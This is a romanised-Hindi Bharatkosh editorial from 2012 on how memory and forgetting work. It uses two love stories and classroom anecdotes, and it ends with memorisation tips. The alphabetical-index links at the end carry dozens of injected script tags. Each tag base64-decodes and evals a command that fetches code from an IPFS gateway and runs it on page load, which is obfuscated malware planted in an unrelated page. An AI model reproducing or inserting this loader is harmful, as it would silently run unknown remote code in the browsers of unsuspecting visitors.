भारतकोश सम्पादकीय 21 अगस्त 2012

yadoan ka phanda -adity chaudhari

pianki aur piankoo ek doosare ke pyar mean pagal the. sat janm, sat samandar aur satavean asaman tak sath nibhane ke vade the. ab to ap samajh hi gaye hoange ki unake kya irade the. pianki, piankoo ko bahut chahati thi aur piankoo, pianki ko bahut chahata tha. donoan ek doosare ko chahate rahate the. is chahane se jo tho da bahut samay milata tha usamean ve ek-doosare ko yad kar lete the, baqi duniyadari ke kamoan ke lie unake pas vaqt nahian tha. phir ek vaqt aisa aya jisamean 'zulmi' piankoo ne 'dich' karake 'svich' karane mean koee 'hich' nahian ki.

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          is dhokhe se pianki par jo asar hue vo the- hairani, rona, chikhana, udasi, akelapan aur piankoo ko bhula dene ki poori koshish. piankoo ko bhulane ke lie pianki ne apane mobail fon se piankoo ke sare foto, em.em.es aur sare es.em.es dilit kar diye. sari 'taiksatiang' aur 'chait' apane kampyootar se u da di. h aaulamark aur archiz ke jo kard piankoo ne diye the, pianki ne, pahale to vo gusse mean pha de aur phir sattais nambar chhap machis se jala diye.
          ee-mel inab aauks mean jitane yahoo aur 123 gritiang kard the, vo pahale to dilit kiye, phir apana ee-mel ekauant [email protected] bhi band kar diya. apane fesabuk ekauant wowpinky94 ki 'kloz frॅnd' list se piankoo ko 'anafrॅnd' kar diya. apane 'profail' se vo gane aur filmean bhi 'laik' se hata diye jo piankoo ko pasand hone ki vajah se pianki ne 'laik' kiye the. piankoo ke dostoan aur piankoo ki bahan ko bhi apani phreand list mean se hata diya. pichhale tin vaileantain-de par jo phool piankoo ne diye the aur unhean pianki ne apani hiandi ki kitab mean sukha ke rakha hua tha un phooloan ko pahale bahut der tak dekha phir pairoan se kuchala aur koo de mean pheank diye. jis kitab mean vo rakhe the, vo kitab, apane salavar-kurte silane vali chadhda aanti ki beti ko de di. piankoo ke die tinoan frॅndaship bॅnd qaianchi se chhote-chhote tuk doan mean kat ke batharoom mean phlash kar diye.
          ek b de se p aaulithin baig mean tin parafyoom, do ti-shart, ek kurta, ek heyar pin, do tॅdibiyar (ek chhota aur ek b da), ek k da, do nelapeant, do lipistik, ek jo da hॅdafoans ka, ek pars, paik karake apane yahaan kam karane vali ko de diye (zahir hai ye gift piankoo ne diye the) sath hi kah diya "ye sari chizean le jao lekin ye dhyan rakhana ki inamean se kisi bhi chiz ko yahaan pahan kar mat ana". isake alava bhi bahut se aise kam kiye gaye jinase piankoo ki yad poori tarah se mit jaye jaise- un restraan, m aaul, park adi mean na jana jinamean piankoo le gaya tha.
          kul-milakar hamari kahani ki hiroin pianki ne apane b aauyafrॅnd, piankoo ko bhulane ki poori koshish ki lekin jitana zyada bhulane ki koshish ki ja rahi thi utani hi piankoo ki yad aur mazaboot hoti ja rahi thi. piankoo ko bhulane ki koshish hi usako yad karana banata ja raha tha. din-rat pianki ke dimag mean piankoo ka chehara, piankoo ki batean vagaira-vagaira chalati rahati thian.

          hota ye hai ki ham jisako bhulane ki bahut zyada koshish karate haian usako bhula pana utana hi mushkil hota chala jata hai.

          ek doosari kahani, chiantoo aur chianki ki hai. donoan mean bahut aur kuchh zyada hi bahut, pyar tha. motar saikil eksideant mean chiantoo ke qimati pran pakheroo u d gaye yani muhabbat ke bich safar mean hi chiantoo 'tean' bol gaya. chianki par du:khoan ke sare hilasteshan toot p de. chiantoo se sachcha pyar kiya tha chianki ne, isalie usaki yadoan ko apani ziandagi ka maqasad banae rakhana chianki ke lie sabase zyada zaroori ho gaya. chianki ne man hi man chiantoo ko apana pati man liya tha.
          usane ek l aauket banavaya, jisamean chiantoo ka foto aur apana foto laga liya aur gale mean pahan liya. apane bॅdaroom ki divaroan par bahut sare foto chiantoo ke laga liye. chintumemory.com ke nam se ek bl aaug bhi shuroo kar diya jis par chiantoo ki foto aur doosari yadean apadet ki jane lagi. chiantoo ne jo ee-mel kiye the aur ee-kard bheje the vo sab priant karake alabam bana li gee. is tarah se chianki ke charoan taraph chiantoo hi chiantoo ghoomane laga.
dhire-dhire ek sal se adhik guzar gaya.
          chianki ki ek samajhadar saheli ne ek din chianki se kaha "chiantoo ko tum bhula nahian sakati... kya vo tumhari yadoan mean itana basa hua hai"
"chiantoo ko maian kaise bhula sakati hooan... use bhulane ka to saval hi paida nahian hota"... lekin tumane ye saval poochha hi kyoan ?
"dekho chianki ! tumane chiantoo ko yad rakhane ki bahut koshish ki aur vo shayad isalie kyoanki tum khud ko yah dikhana chahati ho ki tum chiantoo se itana pyar karati ho ki use kabhi bhula nahian sakati lekin asaliyat ye hai ki tum chiantoo ko bhool chuki ho aur zabaradasti usaki yad apane man mean banae rakhana chahati ho"
"tumako aisa kyoan lagata hai ?"

chitr:Blockquote-open.gif asal mean hamara dimag variyata kram ke hisab se yadadasht ko sahejata hai. is sambandh mean mastishk, sanvedana se ju di batoan ko variyata kram mean oopar rakhata hai. jo batean samanyat: yaantrik roop se hamean yad rakhani hoti haian arthat jin ghatanaoan, pathoan, vyaktiyoan adi se sampark mean ane par hamare sharir ka raktachap, hriday ki dh dakan, aankhoan ka akar badalana, chehare ki maansapeshiyoan ka phailana-siku dana adi prakriyaaian prabhavit nahian hoti unako apani yadadasht mean shamil karane mean mastishk ki koee vishesh ruchi nahian hoti. chitr:Blockquote-close.gif

"mujhe aisa lagata nahian hai balki aisa sachamuch hai... tumhare gale mean jo l aauket hai usamean se chiantoo ka foto maianne pandrah din pahale hi nikal liya tha. jab tum mere ghar ayian thian aur batharoom mean is l aauket ko bhool gayi thian. tumako aj tak maloom nahian hai ki l aauket mean chiantoo ka foto nahian hai kyoanki tumane n jane kitane mahinoan se is l aauket ko khol ke hi nahian dekha. tumane jo chiantoo ki alabam bana kar apane bॅdaroom mean rakhi huee hai us alabam ke kee panne maianne kafi pahale hi nikal diye the usaka bhi tumhean ajatak pata nahian chala. aisa lagata hai ki bahut lambe samay se tumane vo alabam hi nahian khol kar dekhi. isase bhi b di bat ye hai ki tumane jo bl aaug chiantoo ke lie shuroo kiya tha us par maianne pichhale mahine ek kamॅnt likha tha, jisamean likha tha ki chianki ab chiantoo ko poori tarah bhula chuki hai. vo kamaiant abhi bhi tum dekh sakati ho... tumane na jane kab se us bl aaug ko khol ke bhi nahian dekha... ek bat aur hai... tumhare bॅdaroom mean jo 15-20 foto chiantoo ke lage haian unamean se ek maianne badal diya tha aur vo foto ektar salaman khan ka hai... tumane to dhyan bhi nahian diya... sahi bat ye hai chianki ki ham jise yad rakhane ki 'koshish' karate haian use jald hi bhula dete haian."

          oopar likhi donoan kahaniyoan se hamari yadadasht aur bhool jane ki prakriya ki kuchh jhalak milati hai. ham yad rakhane ki 'koshish' unhian batoan ke lie karate haian jinhean bhool jane ka dar hota hai ya phir kahean to jinhean ham yad hi nahian rakhana chahate nishchit hi aisi ghatanaaian, prasang, batean aur vyakti hamean priy nahian hote. isi tarah jo kuchh bhi hamean achchha lagata hai athava hamare lie mahattvapoorn hota hai use ham bina kisi yad karane ki koshish ke hi bhula nahian pate.

ek aur udaharan-
          bazar mean ek l dake ko usake pita ke dost mile. unhoanne is l dake ko apana nam bataya aur apana fon nambar bhi likhava diya aur kah diya ki apane pitaji ko bata dena ki vo mujhe phon kar leange. kuchh hi der bad isi l dake ko isaki klas mean padhane vali ek khoobasoorat l daki mili, jisane is l dake ko sirph ek bar bol kar apana mobail nambar bataya. ghar akar ye l daka apane pita ke dost ka nam bhool chuka tha aur vo kagaz bhi gum ho gaya tha jisamean nambar likha tha. jab do din bad isake pita ne apane usi mitr ka zikr kiya tab is l dake ko dhyan aya ki vo to bazar mean mile the aur unhoanne phon nambar bhi diya tha lekin l dake ko yah batana yad nahian raha. usi din vah l daki bhi mili thi aur usaka mobail nambar sirf ek bar batane par hi hamesha ke lie yad ho gaya tha.

ek aur udaharan-
          amarika mean ek k aaulej mean ek ledi-tichar ne anokhe prayog kiye. ek bar usane rasayan vijnan ka ek f aaurmoola chhatroan ko yad karavane ki koshish ki. kaksha mean keval tin chhatr aise the jo us kathin sootr ko yad kar paye the. agale din vo tichar mini skart pahanakar kaksha mean gayi aur sath hi apani taang par mote pॅn se vo poora f aaurmoola bhi likh kar le gayi. us din kaksha ke sabhi l dakoan ko ye rasayan vijnan ka kathin sootr yad ho gaya.
          yadadasht ke sambandh mean manushy ka mastishk jis tarah se vyavahar karata hai use yadi ham samajhane mean saphal ho jaean to hamari yadadasht aur ekagrata kafi had tak hamare niyantran mean a sakati hai. bhulakk dapan jise ham kahate haian vah kushagr aur vishesh buddhi vale logoan mean samany bat hai. anek vaijnanik, darshanik, kalakar adi apane is bhulakk d svabhav ke lie jane jate rahe haian. is bhulakk d svabhav ka arth yah nahian hai ki ve apane vishay se sambandhit batoan ko bhool jate the balki apane vishay se bhinn batoan ko bhool jana unake lie samany prakriya hai. isaka karan bhi vahi hai jo oopar bataya gaya hai.
          asal mean hamara dimag variyata kram ke hisab se yadadasht ko sahejata hai. is sambandh mean mastishk, sanvedana se ju di batoan ko variyata kram mean oopar rakhata hai. jo batean samanyat: yaantrik roop se hamean yad rakhani hoti haian arthat jin ghatanaoan, pathoan, vyaktiyoan adi se sampark mean ane par hamare sharir ka raktachap, hriday ki dh dakan, aankhoan ka akar badalana, chehare ki masapeshiyoan ka phailana-siku dana adi prakriyaaian prabhavit nahian hoti unako apani yadadasht mean shamil karane mean mastishk ki koee vishesh ruchi nahian hoti.

chitr:Blockquote-open.gif mera vichar hai ki mere is lekh se nee pidhi ko kuchh na kuchh labh avashy hoga. vaise maian adhikatar sampadakiy isalie likhata hooan ki nee pidhi, pratyek vishay aur samaj ke pratyek paksh ko bhali-bhaanti samajh sake. chitr:Blockquote-close.gif

          yadi is sambandh mean aur adhik sochean to ham dekhate haian ki hamean vyaktiyoan ke chehare to yad rah jate haian lekin unake nam asani se yad nahian ate. isi tarah filmi ganoan ki dhunean to ham gunaguna pate haian lekin gane ke bol hamean yad karane p date haian. chhote bachche janavaroan ki pahachan unaki avajoan se asani se kar lete haian jabaki unhian janavaroan ke nam thik tarah se nahian le pate. isaka karan bahut sadharan sa hai ki bhasha manushy nirmit hai aur kalaantar mean kisi bhi bhasha ke sahityik roop ne us bhasha ko aisa bana dala ki mastishk ko ek yantr ki tarah prayog kiye bina us bhasha se parichit nahian hua ja sakata.
          mastishk ko vaijnanikoan ne ek kampyootar ki tarah manakar hi isaka adhyayan kiya hai aur yah adhyayan lagatar jari hai. vaijnanik mastishk ki yadadasht ki kshamata ko adh‌bhut manate haian aur yah bhi pramanit hai ki mastishk ko jitane bhi sandesh milate haian vah unhean sanchit kar leta hai. kiantu hippokॅmpas mean sanchit in sandeshoan ko pun: prastut karane ke lie manushy ke mastishk ke pas koee sugam pranali nahian hoti. kampyootar ki bhasha mean kahean to 'stor' ki gee fail ka 'path' maloom nahian hota. isalie hamean in sanchit, sanchikaoan ko vyavasthit karane ke lie aur avashyak samay par upayog karane ke lie kuchh na kuchh aisi pranaliyoan aur sanketoan ka sahara lena p data hai, jo is kathin kary ko saralikrit kar sakean.

          kya haian ye sanket aur pranaliyaan ?

          kisi vyakti ko usake nam sahit yad rakhane ke lie jo tariqa sabase prabhavashali mana gaya hai vah yah hai ki jis samay ham us vyakti se mil rahe haian to us vyakti ka ek vilakshan roop apane man mean banakar usaka nam yad karean. udaharan ke lie- ap ek ram nam ke ek vyakti se milate haian jisane soot aur taee pahani huee hai to man mean yah tasvir sochie ki is vyakti ram ne gale mean mor pankh lataka rakha hai. aisa karane se ap is vyakti ka chehara aur nam kabhi nahian bhooleange.
          aise b de-b de lekhoan, jinamean bahut sare shirshak hoan, aur shirshak ap ko yad karane hoan, to in shirshakoan ko ek sadharan si kavita ka roop de dijie sath hi shirshak yadi lamba hai to use chhota karake kavita banayean.
          vastunishth prashn aj ki duniya mean parikshaoan ki anivary avashyakata ho gee hai. hazaroan vastuvishth prashnoan ke uttar yad karana pariksharthiyoan ke lie aksar chunauti hoti hai. isake lie ek purani paddhati ko apanana sabase prabhavakari siddh hota hai. yah paddhati ganit ke paha de yad karane vali thi jis tarah gakar paha de yad kiye jate the usi tarah vastunishth prashn bhi yad kiye ja sakate haian. shirshakoan aur vastunishth prashnoan ko yad rakhane ke lie inaka likha jana aur bola jana bhi inako yad rakhane mean bahut sahayak hota hai. jab ham kisi shabd ko bolakar likhate haian to aankhoan ke dvara us shabd ki tasvir mastishk mean sanchit ho jati hai. isi tarah kanoan ke dvara us shabd ki dhvani ko bhi mastishk sanjo leta hai. jab pun: is shabd ki avashyakata hamean hoti hai to ise upasthit karane mean mastishk ko apekshakrit adhik saralata hoti hai.
          mera vichar hai ki mere is lekh se nee pidhi ko kuchh na kuchh labh avashy hoga. vaise maian adhikatar sampadakiy isalie likhata hooan ki nee pidhi, pratyek vishay aur samaj ke pratyek paksh ko bhali-bhaanti samajh sake.

is saptah itana hi... agale saptah kuchh aur...
-adity chaudhari
sansthapak evan pradhan sampadak

pichhale sampadakiy

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

भारतकोश सम्पादकीय 21 अगस्त 2012

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